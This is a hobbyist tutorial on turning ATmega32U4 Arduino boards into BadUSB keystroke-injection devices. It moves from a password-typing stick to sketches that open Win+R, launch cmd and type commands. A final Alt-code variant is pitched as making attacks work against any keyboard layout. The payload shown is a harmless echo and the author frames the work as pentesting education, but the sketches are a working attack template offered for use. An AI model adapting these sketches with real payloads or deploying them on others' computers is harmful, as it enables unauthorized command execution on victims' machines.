A BadUSB Device With Arduino
by arduinocelentano in Circuits > USB
15190 Views, 5 Favorites, 0 Comments
A BadUSB Device With Arduino
Disclaimer
The author reserves the right not to be responsible for any damage or your illegal action caused by the use of this instructable. However, you may use it on your own hardware at your own risk. The examples from this instructable may also be helpful for educational purposes to develop digital literacy skills and discussing the concepts of pentesting and ethical hacking.
USB HID devices
The acronym HID means Human Interface Device. This class of devices includes keyboards, mice and other controllers. Sometimes a device is not what it looks like. For example, this USB stick is in fact an Arduino compatible development board with ATmega32U4 microcontroller. It could be programmed to act like a keyboard, mouse or whatever USB device you want. This type of hardware attacks is called BadUSB. It is extremely difficult to detect since antivirus software will never know whether a user types something with a usual keyboard or a BadUSB device sends keystrokes with malicious commands. I have been always wondering why there exists just BadUSB but neither GoodUSB nor UglyUSB. So this instructable features all three of them demonstrating three different ideas of USB HID keyboard applications. We’ll begin with a simple and obvious example and finally I’ll show you a rarely discussed layout independent input method to make your BadUSB attacks more universal.
🔗 If you are interested in building HID devices with Arduino, you might also like my USB mouse emulation tutorial. If you are looking for an extremely cheap development board with USB support, check out this one.
Supplies
You’ll need an Arduino compatible board with a controller which supports USB interface, like ATmega32U4. Arduino Leonardo is the most common. Arduino Pro Micro is a good option due to its small size. You could also find some affordable noname ATmega32U4 boards in USB stick form-factor. Tiny Digispark boards with software USB support technically could be used, but keep in mind that Arduino bootloader needs about 2Kb of flash memory and leaves you just 6Kb for your own sketches. It is enough for understanding the attacks concept, but not so much for complex BadUSB scripts. As for Arduino UNO boards, the original ones and some of the clones have ATmega16U2 MCU onboard for sketches uploading purposes. It has native USB support and after some hacking may be used as a USB HID device. If you are interested in Digispark or Arduino UNO instructale, please let me know. In this instructable I assume that you use some ATmega32U4-based board.
The Good
Let’s begin with a simple warm-up. Probably the easiest project one could imagine is USB password stick. When you plug it in, it acts like a USB keyboard and enters your password, so you don’t need to remember it. The code may look like this.
#include <Keyboard.h>
void setup() {
Keyboard.begin();
//I recommend that you leave a short delay before start while prototyping.
//It will will give you some time to reprogram a board before it starts typing.
delay(30000);
Keyboard.println("Your_password");
}
void loop() {
}
The API of Keyboard library is pretty much straightforward. You could easily add some controls (like buttons, switches etc.) to store several passwords in one device.
Downloads
The Bad
Let’s design a basic BadUSB attack scenario. Assume we have a Windows computer, which is simply easier to hack since the hotkeys are more or less standard. For example, Win+r would most likely open a “Run” dialog and command “cmd” would open Windows shell. After that it is possible to execute any commands with current user permissions. The code would look like this.
#include<Keyboard.h>
#define KEY_DELAY 50 //delay between keystrokes for slow computers
//a command line to execute
const char command [] = "echo hello hackers";
void setup() {
Keyboard.begin();
//I recommend that you leave a short delay before start while prototyping.
//It will will give you some time to reprogram a board before it starts typing.
delay(30000);
}
void loop() {
//Pressing Win+r shortcut
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);
//Inputting cmd command
Keyboard.println("cmd");
delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
//Typing the command
Keyboard.println(command);
delay(30000);
}
Downloads
The Ugly
There is a serious drawback in the last example. You’ll probably never notice it if your locale is English or other Latin script based (German, French etc.) However, the attack would not work if the target computer uses any non-Latin keyboard layout (e.g. Japanese, Armenian, Cyrillic, Arabic etc.) Since our device acts like a keyboard, it sends scancodes that are interpreted as characters of a current keyboard layout. So “cmd” line would result some other line in non-Latin layout.
Of course, you could try pressing layout switching shortcuts (like Alt-Shift, Ctrl-Shift) and hope one of them would switch into English. However, it would be a blind bruteforce, since you don’t have any feedback from computer you attack. Each time your device enters some gibberish into “Run” dialog, an error message dialog would appear. Of course, you could close it with Alt-F4 after each try, but this method is far from being silent or elegant.
Fortunately, Microsoft developers intentionally implemented a special input method we could utilize. Very kind of them. I mean Alt-codes, an MS-DOS heritage which is supported in modern Windows systems. You may push Alt key and enter a numeric code of character you want to input. If you are not familiar with the Alt-codes concept, I suggest that you read this. There are two kinds of Alt-codes: with leading zero for OEM Codepage and without leading zero for MS-DOS codepage.
Another problem is that Alt-codes work only with numeric keypad (0x54 - 0x63), but if you use a number less than 128 (0x7F) with keyboard.press function, it would process it like a printed character and substitute it with an ASCII code. To overcome this behavior, you have to add 136 to numpad key code. You may find more details on this forum or in the Keyboard library source code. To make a long story short, the final numpad keycodes are:
225 Keypad 1
226 Keypad 2
227 Keypad 3
228 Keypad 4
229 Keypad 5
230 Keypad 6
231 Keypad 7
232 Keypad 8
233 Keypad 9
234 Keypad 0
The following example carries out a layout-independent BadUSB attack. And yes, as I promised, the code may look pretty much ugly. :) It just demonstrates the concept and deals only with non-leading zero Alt-codes, which is sufficient for command line processing. With this example, you could easily implement your own layout-independent BadUSB library.
#include <Keyboard.h>
#include <string.h>
//numpad keycodes
#define KEYPAD1 225
#define KEYPAD2 226
#define KEYPAD3 227
#define KEYPAD4 228
#define KEYPAD5 229
#define KEYPAD6 230
#define KEYPAD7 231
#define KEYPAD8 232
#define KEYPAD9 233
#define KEYPAD0 234
#define KEY_DELAY 50
//numpad keycodes array
const char keypad[] = {KEYPAD0, KEYPAD1, KEYPAD2, KEYPAD3, KEYPAD4,
KEYPAD5, KEYPAD6, KEYPAD7, KEYPAD8, KEYPAD9};
//a command line to execute
const char command [] = "echo hello hackers";
void setup() {
Keyboard.begin();
//I recommend that you leave a short delay before start while prototyping.
//It will will give you some time to reprogram a board before it starts typing.
delay(30000);
}
//A function to input one character by its Alt-code
void printAltChar(char c)
{
//Splitting the Alt-code into three digits
char digits[] = {0,0,0};
digits[0] = c/100;
digits[1] = (c / 10) % 10;
digits[2] = c % 10;
//Pushing Alt
Keyboard.press(KEY_LEFT_ALT);
delay(KEY_DELAY);
char i = 0;
//Skip leading zeros
while (!digits[i])
i++;
//Inputting the digits
for (; i < 3; i++)
{
Keyboard.press(keypad[digits[i]]);
delay(KEY_DELAY);
Keyboard.release(keypad[digits[i]]);
delay(KEY_DELAY);
}
Keyboard.releaseAll();
}
void loop() {
//Pressing Win+r shortcut
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
//Inputting ‘cmd’ command
printAltChar(99);
printAltChar(109);
printAltChar(100);
Keyboard.press(KEY_RETURN);
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
//Typing the command
for (int i = 0; i<strlen(command); i++)
printAltChar(command[i]);
Keyboard.press(KEY_RETURN);
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY);
delay(30000);
}